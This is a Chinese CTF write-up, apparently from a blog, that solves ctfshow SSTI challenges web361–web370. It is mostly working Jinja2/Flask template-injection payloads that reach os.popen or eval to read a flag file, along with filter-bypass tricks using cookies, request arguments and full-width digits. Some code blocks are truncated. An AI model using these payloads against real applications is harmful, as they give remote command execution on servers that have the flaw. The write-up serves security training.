ctfshow-SSTI
web361:
name传参,直接干:
1 | from requests import get |
补充:几种手法
- 手法一:payload os.warp_close类 的popen 方法
- ?name=
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
- 手法二: 利用config:
- ?name=
{{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
- 手法三:
lipsum.__globals__
含有os模块:- ?name=
{{lipsum.__globals__['os'].popen('tac ../flag').read()}}
- 手法三:利用
__builtins__
- ?name=
{{url_for.__globals__['__builtins__']['eval'](__import__('os').popen('cat /flag').read()}}
- ?name=
{{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
web362:
过滤了数字2,3,上没有数字的payload就行了:
1 | from requests import get |
另外的payload:
?name={%set b=(dict(b=c,c=d)|join|count)%}{{''.__class__.__base__.__subclasses__()[66*b].__init__.__globals__['popen']('tac /f*').read()}} #先利用join和count过滤器得到数字2,然后再用66*2去得到132
1
2
3
4
5
- ```python
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
#builtins模块,里面有eval方法可以调用
#用eval去调用__import__方法,import方法是导入模块用的,我们导入os模块,然后调用os模块的popen,再read就可以了?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} 或者 ?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
1
2
3
4
5
6
7
8
9
# web363:
过滤了引号,可以用request来绕过:
payload1:
```python
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('tac /flag').read()
payload2:这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:
1 | ?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}} |
payload3:
1 | ?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%} |
web364:
过滤了引号,args,同时不允许使用POST传参,使用Cookie传参吧:
1 | ?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}} |
之后Cookie传入参数:
1 | m1=get_data;m2=/flag |
Web365:
这里在上一个题的基础上过滤了中括号,所以得用别的方法:
1 | ?name={{().__class__.__base__.__subclasses__().__getitem__(290).__init__.__globals__.__getitem__(request.cookies.m1).popen(request.cookies.m2).read() |
之后Cookie传入:
1 | m1=os;m2=cat /flag |
还有个办法,不过是一次性的,失败了之后环境就废了,毕竟pop会删除对应的键,导致环境崩溃:
1 | ?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}} |
之后Cookie传入:
1 | m1=os;m2=cat /flag |
Web366:
这个题多过滤了下划线,可以用lipsum绕过:
1 | ?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}} |
之后Cookie传入:
1 | m1=__globals__;m2=cat /flag |
Web367:
这个题又过滤了个os,直接扔个payload吧,Payload解释问Ai都可以问出来:
1 | ?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}} |
之后传入Cookie:
1 | m1=__globals__;m2=cat /flag;m3=os |
Web368:
这个题,需要用到{% %}
,因为双大括号里的request被过滤了,但是{% %}
中的request没有被过滤,和上一个题构造的payload一样,不过有点改变,就是没有使用双大括号,所以需要print输出以下(类似无回显):
1 | ?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%} |
Web369:
这里直接给request给ban了,不过可以自己拼字符串,还算好,直接上最终payload:
1 | ?name= |
看着很长很唬人,但实际确实不简单,这个我会在下一篇文章进行考点总结的,不急,这里先给下解释:
1 | ?name= |
Web370:
这个题过滤了数字,不过可以用全角数字来绕过,转换的代码如下:
1 | def half2full(half): |
得到的payload如下:
1 | ?name= |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 golden的部落阁!